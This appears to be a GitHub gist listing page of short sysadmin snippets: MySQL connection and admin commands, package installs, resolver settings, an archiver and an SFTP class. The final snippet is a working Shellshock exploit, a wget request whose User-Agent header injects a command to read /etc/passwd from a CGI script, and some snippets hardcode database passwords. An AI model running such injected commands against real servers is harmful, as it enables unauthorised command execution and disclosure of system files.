This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import mysql.connector | |
from mysql.connector.constants import ClientFlag | |
from mysql.connector import Error | |
config = { | |
'user': 'ssluser', | |
'password': 'Pass@123#', | |
'host': '192.168.1.77', | |
'database':'world', | |
'client_flags': [ClientFlag.SSL], |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
yum groupinstall "Desktop" "Desktop Platform" "X Window System" "Fonts" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sudo apt-get install build-essential vde2 virtualbox-guest-additions-iso |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# To kill sleeping connecions in MySQL # : | |
mysqladmin -u root --password=xxxx proc | grep Sleep | awk '{print $2}' | while read LINE; do mysqladmin -u root --password=xxxxx kill $LINE; done | |
# Every 1 second run this command to see overall Queries/Threads Connected / and running queries at this moment | |
mysqladmin ext -i1 -u root -p12345 | awk '/Queries/{q=$4-qp;qp=$4} | |
/Threads_connected/{tc=$4} | |
/Threads_running/{printf "%5d %5d %5d\n", q, tc, $4}' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
x = [24, 25, 26, 32, 33, 41, 42, 43, 179, 180, 463, 464, 576, 577, 578, 579, 580, 581, 582, 583, 584, 585, 586, 587, 588, 589, 590, 701, 702, 1332, 1333, 2292, 2293, 2294, 2883, 2884, 3035, 3036, 3037, 3076, 3077, 3208, 3209, 3210, 3519, 3520, 3521, 3839, 3840, 3841, 3842, 3843, 3844, 3997, 3998, 4136, 4137, 4138, 4593, 4594, 4684, 4685, 6442, 6443, 6444, 6445, 6446, 6447, 8110, 8111, 8112, 8113, 8143, 8144, 8272, 8273, 8274, 8578, 8579] | |
t=[] | |
p=True | |
maxPeriod = [] | |
for i in range(0,len(x)-1): | |
# Yoxlayiriq ki, eger reqemlerin ferqi 1-e beraberdirse TRUE qaytarsin. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import mysql.connector | |
import datetime | |
# MySQL Connection Parameters | |
cnx = mysql.connector.connect(user='xxx', password='xxx', | |
host='xx', | |
database='xx') | |
# Querying for data |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from shutil import make_archive, move, rmtree | |
import os | |
class Archiver: | |
def __init__(self): | |
self.local_dir = '/home' | |
self.archive_dir = '/home/archive' | |
self.archive_name = os.path.join(self.local_dir, 'zip_archive') | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
domain zyxel.com | |
search zyxel.com | |
nameserver 192.168.1.1 | |
nameserver 8.8.8.8 | |
domain hg232f | |
search hg232f | |
nameserver 192.168.3.1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import paramiko | |
import os | |
import subprocess | |
class SFTPConnection: | |
""" | |
Class for SFTP Connection using Paramiko | |
""" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://192.168.1.88/cgi-bin/fuck.cgi |